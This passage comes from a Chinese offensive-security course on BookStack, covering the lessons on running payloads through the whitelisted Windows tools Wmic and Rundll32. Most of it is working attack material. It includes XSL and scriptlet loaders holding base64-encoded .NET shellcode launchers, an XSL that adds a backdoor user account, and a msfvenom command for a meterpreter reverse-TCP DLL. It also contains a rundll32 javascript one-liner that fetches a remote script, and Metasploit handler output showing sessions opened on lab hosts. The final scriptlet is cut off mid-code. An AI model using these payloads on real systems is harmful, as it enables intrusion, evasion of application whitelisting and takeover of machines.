"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 124. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 125. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 126. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 127. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 128. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 129. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+ 130. "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+ 131. "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+ 132. "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+ 133. "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+ 134. "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+ 135. "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+ 136. "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+ 137. "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+ 138. "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+ 139. "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+ 140. "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+ 141. "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+ 142. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 143. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 144. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 145. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 146. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 147. "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 148. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 149. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 150. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 151. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 152. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 第八十课:基于白名单Wmic执行payload第十季 -524- 本文档使用书栈(BookStack.CN)构建 153. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 154. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 155. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 156. "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+ 157. "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"; 158. 159. varentry_class='ShellCodeLauncher.Program'; 160. 161. try{ 162. 163. setversion(); 164. 165. varstm=base64ToStream(serialized_obj); 166. 167. varfmt=new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); 168. 169. varal=newActiveXObject('System.Collections.ArrayList'); 170. 171. vard=fmt.Deserialize_2(stm); 172. 173. al.Add(undefined); 174. 175. varo=d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); 176. 177. }catch(e){ 178. 179. debug(e.message); 180. 181. } 182. 183. ]]></ms:script> 184. 185. </stylesheet> Micropoor_2003.xsl: 1. <?xmlversion='1.0'?> 2. 3. <stylesheet 4. 5. xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas‐microsoft‐ 第八十课:基于白名单Wmic执行payload第十季 -525- 本文档使用书栈(BookStack.CN)构建 com:xslt" 6. 7. xmlns:user="placeholder" 8. 9. version="1.0"> 10. 11. <outputmethod="text"/> 12. 13. <ms:scriptimplements‐prefix="user"language="JScript"> 14. 15. <![CDATA[ 16. 17. varr=newActiveXObject("WScript.Shell").Run("netuserMicropoorMicropoor /add"); 18. 19. ]]></ms:script> 20. 21. </stylesheet> Micropoor 第八十课:基于白名单Wmic执行payload第十季 -526- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令 行的方式调用动态链接程序库。 说明:Rundll32.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意 x86,x64位的Rundll32调用。 Windows2003默认位置: 1. C:\Windows\System32\rundll32.exe 2. C:\Windows\SysWOW64\rundll32.exe Windows7默认位置: 1. C:\Windows\System32\rundll32.exe 2. C:\Windows\SysWOW64\rundll32.exe 攻击机: 192.168.1.4Debian 靶机: 192.168.1.119Windows2003 192.168.1.5Windows7 配置攻击机msf: 注:x86payload 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Rundll32简介: 基于远程加载(1): 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -527- 本文档使用书栈(BookStack.CN)构建 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. ‐‐‐‐‐‐ 22. 0WildcardTarget 23. 24. msfexploit(multi/handler)>exploit 25. 26. [*]StartedreverseTCPhandleron192.168.1.4:53 1. C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://19 注:x64rundll32.exe 靶机执行: 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -528- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>exploit 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. [*]Sendingstage(179779bytes)to192.168.1.5 5. [*]Meterpretersession57opened(192.168.1.4:53‐>192.168.1.5:41274) 6. at2019‐01‐1904:13:26‐0500 7. meterpreter>getuid 8. Serverusername:John‐PC\John 9. meterpreter>getpid 10. Currentpid:7064 11. meterpreter> payload配置: 1. msfvenom‐ax86‐‐platformwindows‐pwindows/meterpreter/reverse_tcp LHOST=192.168.1.4LPORT=53‐fdll>Micropoor_Rundll32.dll 靶机执行: 1. msfexploit(multi/handler)>exploit 基于本地加载(2): 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -529- 本文档使用书栈(BookStack.CN)构建 2. 3. [*]StartedreverseTCPhandleron192.168.1.4:53 4. [*]Sendingstage(179779bytes)to192.168.1.5 5. [*]Meterpretersession63opened(192.168.1.4:53‐>192.168.1.5:43320) 6. at2019‐01‐1904:34:59‐0500 7. meterpreter>getuid 8. Serverusername:John‐PC\John 9. meterpreter>getpid 10. Currentpid:6656 靶机执行: Windows2003: 1. rundll32.exejavascript:"\..\mshtml.dll,RunHTMLApplication";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()"); 注:如靶机支持powershell,调用powershell更贴合实战。 基于命令执行(3): 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -530- 本文档使用书栈(BookStack.CN)构建 1. <?xmlversion="1.0"?> 2. <package> 3. <componentid="Micropoor"> 4. 5. <scriptlanguage="JScript"> 6. <![CDATA[ 7. functionsetversion(){ 8. } 9. functiondebug(s){} 10. functionbase64ToStream(b){ 11. varenc=newActiveXObject("System.Text.ASCIIEncoding"); 12. varlength=enc.GetByteCount_2(b); 13. varba=enc.GetBytes_4(b); 14. vartransform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); 15. ba=transform.TransformFinalBlock(ba,0,length); 16. varms=newActiveXObject("System.IO.MemoryStream"); 17. ms.Write(ba,0,(length/4)*3); 18. ms.Position=0; 19. returnms; 20. } 21. 22. varserialized_obj= "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ 23. "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ 24. "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ 附录:Rundll32_shellcode 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -531- 本文档使用书栈(BookStack.CN)构建 25. "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ 26. "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ 27. "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ 28. "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ 29. "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ 30. "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ 31. "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ 32. "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ 33. "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ 34. "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ 35. "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ 36. "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ 37. "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ 38. "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ 39. "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ 40. "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ 41. "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ 42. "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ 43. "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ 44. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ 45. "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAAA"+ 46. "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+ 47. "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+ 48. "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 49. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+ 50. "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+ 51. "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"+ 52. "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+ 53. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+ 54. "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+ 55. "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+ 56. "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/"+ 57. "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/"+ 58. "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBW"+ 59. "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMp"+ 60. "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC 61. hYGjml+"+"AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMo" 62. "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4z"+ 63. "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAYA"+ 64. "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAA"+ 65. "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAAB"+ 66. "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEEC"+ 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -532- 本文档使用书栈(BookStack.CN)构建 67. "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAAQAA"+ 68. "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABEA"+ 69. "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAACA"+ 70. "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAAA"+ 71. "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+ 72. "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHkA"+ 73. "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAEJ"+ 74. "AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAAAABADsA"+ 75. "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGxD"+ 76. "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQA"+ 77. "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3JT"+ 78. "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdABs"+ 79. "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmVh"+ 80. "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJp"+ 81. "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9u"+ 82. "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0"+ 83. "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQA"+ 84. "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJB"+ 85. "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19T"+ 86. "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50aW1lSGVs"+ 87. "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9F"+ 88. "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5AFplcm8A"+ 89. "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJp"+ 90. "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6XFYZNOCJ"+ 91. "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERAH"+ 92. "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFldy"+ 93. "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlNl"+ 94. "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs"+ 95. "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmVy"+ 96. "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+ 97. "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+ 98. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 99. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 100. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 101. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 102. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 103. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 104. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 105. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 106. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+ 107. "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+ 108. "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+ 第八十一课:基于白名单Rundll32.exe执行payload第十一季 -533- 本文档使用书栈(BookStack.CN)构建 109. "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+ 110. "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+ 111. "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBE"+ 112. "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4A"+ 113. "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+ 114. "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+ 115. "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+ 116. "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+ 117. "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+ 118. "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+ 119. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 120. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 121. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 122. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 123. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 124. "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 125. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 126. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 127. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 128. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 129. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 130. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 131. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 132. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 133. "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+ 134. "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"; 135. varentry_class='ShellCodeLauncher.Program'; 136. 137. try{ 138. setversion(); 139. varstm=base64ToStream(serialized_obj); 140. varfmt=new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); 141. varal=newActiveXObject('System.Collections.ArrayList'); 142. vard=fmt.Deserialize_2(stm); 143. 